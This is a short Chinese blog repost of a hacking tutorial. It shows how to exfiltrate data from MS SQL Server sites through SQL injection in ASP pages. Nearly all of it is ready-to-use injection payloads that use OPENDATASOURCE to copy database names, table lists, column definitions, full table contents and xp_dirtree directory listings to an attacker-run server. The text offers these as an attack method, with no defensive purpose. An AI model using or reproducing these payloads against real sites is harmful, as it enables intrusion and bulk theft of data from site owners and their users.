鬼仔's Blog

鬼仔注：lcx写的，不过lcx的站现在打不开。

来源：scofeld's blog

实现功能:
获取所有库.当前库所有表.表里所有内容.分区路径.

本机建立库和表,方便反弹时写进东西.

create database lcx
CREATE TABLE ku(name nvarchar(256) null)
CREATE TABLE biao(id int NULL,name nvarchar(256) null)


得到目标服务器上的所有数据库名:

insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases--


得到当前库:

insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.ku select db_name(0)--


得到当前库的所有表名

insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--


获得其它库的所有表名

insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype='U'--


获得当前库指定表名的列
复制一个系统表结构

1. select * into [tmpcolumns] from syscolumns where 1=2
2. insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--

//这一步目的是查询当前表的结构,好在本机建立同样的表.

返回表的所有内容

insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.chong select * from [chong]--


复制一个系统表结构 重要的: name列名 xtype数据类型 length长度 //在本机建立一个同样的表
关系表如下：

when 34 then ''image''
when 35 then ''text''
when 52 then ''smallint''
when 56 then ''int''
when 61 then ''datetime''
when 62 then ''float''
when 108 then ''numeric''
when 167 then ''varchar''
when 175 then ''char''
when 231 then ''nvarchar''
========================


查路径 实践:

1. xx.asp?id=1;CREATE TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100));--
2. xx.asp?id=1;Insert chong exec master..xp_dirtree "C:\",1,1;--
本机: 3 4
3. select * into [tmpcolumns] from syscolumns where 1=2
4. CREATE TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100))
5. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
6. 从5中得到反回来的chong表的ID.一共有三个列.
7. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--
8. where id=1723153184 其中一个.下面返回来的内容.就是现在的ID对应的内容
9. xx.asp?id=1; insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.chong select * from [chong]--
10. 路径在本机chong里.